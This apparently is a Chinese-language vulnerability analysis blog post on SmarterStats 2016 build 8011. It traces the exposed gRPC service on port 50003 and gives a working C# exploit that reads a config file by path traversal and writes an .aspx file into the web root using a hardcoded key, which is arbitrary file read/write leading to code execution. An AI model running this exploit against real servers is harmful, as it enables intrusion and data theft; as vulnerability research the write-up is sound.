老外又发洞了
2016 8011版本,下载地址:https://downloads.smartertools.com/smarterstats/100.0.8011/SmarterStats_8011.exe
安装可以看官方的文档 https://help.smartertools.com/smarterstats/current/topics/Installation/Installation.aspx
SSSvc.exe运行在50003端口上,默认监听0.0.0.0
拉到dnspy中看一下
main函数启动了一个SSCollect服务类。
服务类调用了ServiceWorker.StartService()
新起了一个线程运行ServiceLifetimeFunction函数
这里调了ServiceWorker.Start()
start中调用GrpcManager.StartGrpc()
开启监听gRPC。
继续看gRPC,在StartGrpc中,定义了四个服务
分别对应
并且端口绑定在0.0.0.0:50003上
随便点开一个服务实现来看 QueryServiceImplementation
ServiceOperationsServiceImplementation
能看到grpc的远程调用函数实现。
先来试一下调用。创建一个csharp的grpc项目,可以直接用gRPC的example项目
在Query.BindService(new QueryServiceImplementation()).Intercept(interceptor)
的Query类中,给了我们rpc client的工具类
直接把这个dll加入到引用中,然后代码如下。
这样就调用到了SStatSvc.Communication.QueryServiceImplementation.GetAvailableQueries(GetAvailableQueriesRequest, ServerCallContext)
那么接下来就是简单的寻找漏洞点了。
SStatSvc.Communication.ServiceOperationsServiceImplementation.GetExportedLogsForSite(GetExportedLogsForSiteRequest, IServerStreamWriter<GetExportedLogsForSiteResponse>, ServerCallContext)
任意文件读取
这里需要关闭dnspy的编译优化才能看到具体逻辑
SStatSvc.Communication.ServiceOperationsServiceImplementation.SaveFileTo(SaveFileToRequest, ServerCallContext)
任意文件写入
有个加密key硬编码,等于没用。
using Grpc.Core; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using SmarterStats.Config.Protos; using Google.Protobuf.WellKnownTypes; using SmarterStats.Config.Utility; using System.IO; using Google.Protobuf; namespace Routeguide { class Program { static async Task<int> Main(string[] args) { var channel = new Channel("172.16.16.132:50003", ChannelCredentials.Insecure); ServiceOperations.ServiceOperationsClient client = new ServiceOperations.ServiceOperationsClient(channel); GetExportedLogsForSiteRequest request = new GetExportedLogsForSiteRequest(); request.FileToDownload = @"..\..\MRS\App_Data\Config\AppConfig.xml"; AsyncServerStreamingCall<GetExportedLogsForSiteResponse> asyncServerStreamingCall = client.GetExportedLogsForSite(request); while (await asyncServerStreamingCall.ResponseStream.MoveNext()) { Console.WriteLine(asyncServerStreamingCall.ResponseStream.Current.Data.ToStringUtf8()); } SaveFileToRequest saveFileToRequest = new SaveFileToRequest(); saveFileToRequest.Filename = @"C:\Program Files (x86)\SmarterTools\SmarterStats\MRS\test.aspx"; CryptographyHelper cryptographyHelper = new CryptographyHelper(0); Timestamp timestamp = Timestamp.FromDateTime(DateTime.UtcNow); saveFileToRequest.CreationDate = timestamp; saveFileToRequest.LastWriteDate = timestamp; cryptographyHelper.SetKey(saveFileToRequest.CreationDate.ToDateTime().ToString("MMddyyyy") + " ksghsfkgjh", null); string auth = cryptographyHelper.EncodeToBase64(saveFileToRequest.Filename); saveFileToRequest.Auth = auth; saveFileToRequest.FileData = ByteString.CopyFromUtf8(File.ReadAllText(@"1.txt")); client.SaveFileTo(saveFileToRequest); Console.WriteLine("write done."); Console.ReadKey(); return 0; } } }
GetExportedLogsForSite文件读取截取了文件名并且加了鉴权
SaveFileTo 文件写入限制了后缀白名单并且正则限制了路径
SmarterStats中为gRPC提供了一个ServiceOperations.ServiceOperationsClient类方便客户端调用,如果没有这个类我们应该怎么构造rpc协议?涉及到rpc,存不存在反序列化问题呢?
wireshark抓包可以看到grpc的请求结构,包括uri、ua、params等,这个东西等我学了之后再说吧。